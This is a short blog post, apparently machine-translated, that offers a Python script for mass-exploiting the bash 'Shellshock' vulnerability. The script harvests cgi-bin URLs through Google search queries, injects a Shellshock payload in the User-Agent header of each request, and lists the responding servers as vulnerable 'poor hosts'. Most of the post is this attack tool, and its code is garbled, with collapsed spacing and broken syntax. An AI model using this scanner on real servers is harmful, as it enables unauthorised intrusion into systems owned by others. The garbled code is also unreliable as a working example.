Bash Remote Code Execution Vulnerability batch exploitation script

Bash remote code execution vulnerability is indeed more powerful than heartbleed, but the impact scope is not very wide, however, the vulnerability batch issue was mentioned at the end of yesterday's analysis article bash Remote Code Execution Vulnerability Analysis.
The simplest method is to use the hacking technology of the search engine. Here, I use the Google Hacking syntax and Google API to capture links. Only in China .... Add a proxy.
The proxy in the program is my local goagent proxy, and the port is 8087. The idea of how to detect vulnerabilities is also very simple. Here I will directly judge based on the server return code.

The idea is to paste the code below as usual:

# Coding = utf-8import requestsimport jsonimport sysimport threadingclass googleurlprovider (): def _ init _ (self, pagecount, proxies): Self. pagecount = pagecount # Number of queried pages self. KEYWORDS = r 'inurl: cgi-bin filetype: Sh' self. apiurl = "https://ajax.googleapis.com/ajax/services/search/web" self. proxies = proxiesdef getrequest (self, URL): return requests. get (URL, proxies = self. proxies, verify = false) def geturls (Self): ret_l Ist = [] tmp_list = [] for X in xrange (0, self. pagecount): url = "{apiurl }? V = 1.0 & Q = {keywords} & rsz = 8 & START = {pagecount }". format (apiurl = self. apiurl, KEYWORDS = self. keywords, pagecount = x) Try: r = self. getrequest (URL) Results = JSON. loads (R. text) if not results: continueinfos = Results ['responsedata'] ['result'] If Infos: for I in Infos: tmp_list.append (I ['url']) Does T exception, e: continueret_list = ret_list + tmp_listreturn ret_listclass bashrcedetector (): def _ init _ (self, URLs): Self. URLs = urlsdef detector (Self): vul_res = [] useragent_header = {'user-agent ':"(){:;}; echo-e 'detector' "} for X in self. URLs: Try: r = requests. get (x, headers = useragent_header, timeout = 1) If R. status_code == 500: Print "{URL} Has Bash RCE Vulnerability ". format (url = x) vul_res.append (x) else: passexcept exception, E: continuereturn vul_resif _ name _ = '_ main _': Print 'powered: exploit QQ: 739858341 'prin T' this is a program which you can use to scan the bashrce vulnerability \ nscanner working, please wait... 'If Len (SYS. argv )! = 2: Print 'usage: Python bashrceusage <Google pagecount> 'sys. exit () # goagent proxy # modify it here. add your own proxy to use proxies = {'http': "http: // 127.0.0.1: 8087", 'https ': "http: // 127.0.0.1: 8087"} url_res = [] vul_guys = [] urlgetter = googleurlprovider (INT (sys. argv [1]), proxies) url_res = urlgetter. geturls () bash_detector = bashrcedetector (url_res) vul_guys = bash_detector.detector () If Len (vul_guys) = 0: Print 'this group have no vulnerability 'else: print 'Find % d poor host (s) '% Len (vul_guys)

Run:

Bash Remote Code Execution Vulnerability batch exploitation script